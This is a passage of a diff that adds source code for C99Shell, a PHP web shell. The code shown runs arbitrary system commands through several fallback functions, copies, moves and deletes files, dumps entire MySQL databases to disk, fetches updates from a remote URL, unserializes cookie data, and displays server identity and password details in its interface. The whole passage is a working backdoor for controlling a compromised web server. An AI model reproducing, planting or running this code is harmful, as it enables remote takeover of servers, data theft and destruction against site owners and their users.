= file_get_contents($c99sh_updatefurl); + $fp = fopen($data,"w"); + fwrite($fp,$data); + fclose($fp); + exit; +} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0, $len)."...".substr($content, -$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return false;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + $ret = true; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return false;} + } + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);} + elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);} + elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();} + elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();} + elseif (($result = `$cmd`) !== false) {} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) +{ + function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} +} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400) ? "r" : "-"; + $owner["write"] = ($mode & 00200) ? "w" : "-"; + $owner["execute"] = ($mode & 00100) ? "x" : "-"; + $group["read"] = ($mode & 00040) ? "r" : "-"; + $group["write"] = ($mode & 00020) ? "w" : "-"; + $group["execute"] = ($mode & 00010) ? "x" : "-"; + $world["read"] = ($mode & 00004) ? "r" : "-"; + $world["write"] = ($mode & 00002) ? "w" : "-"; + $world["execute"] = ($mode & 00001) ? "x" : "-"; + + if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";} + if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";} + if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";} + + return $type.$owner["read"].$owner["write"].$owner["execute"]. + $group["read"].$group["write"].$group["execute"]. + $world["read"].$world["write"].$world["execute"]; +} +} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=\"red\">".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=\"white\">".view_perms(fileperms($o))."</font>";} + else {return "<font color=\"green\">".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate() +{ + global $updatenow; + $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&"); + if (!$data) {echo "Can't fetch update-information!";} + else + { + $data = unserialize(base64_decode($data)); + if (!is_array($data)) {echo "Corrupted update-information!";} + elseif ($shver < $data["cur"]) {$updatenow = true;} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + global $win; + if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $SERVER_ADDR = getenv("SERVER_ADDR"); + $SERVER_NAME = getenv("SERVER_NAME"); + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." +# Date: ".date("d.m.Y H:i:s")." +# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return false;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== false) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + if (!$win) {$tmpdir = "/tmp/";} + else {$tmpdir = getenv("SystemRoot");} +} +else {$tmpdir = realpath($tmpdir);} +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> +<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><link rel="shortcut icon" href="" type="image/x-icon"></SCRIPT><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + reset($e); + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = true; + $wdt = "<font color=\"green\">[ ok ]</font>"; + echo "<b><font color=\"green\">".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = false; + $wdt = "<font color=\"red\">[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === false) {$free = 0;} + if ($total === false) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".$letter.":\\\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=\"green\">".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +?></p></td></tr></table><br><?php +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php echo $donated_html; ?></td></tr></table><br><?php } +?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = false;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the 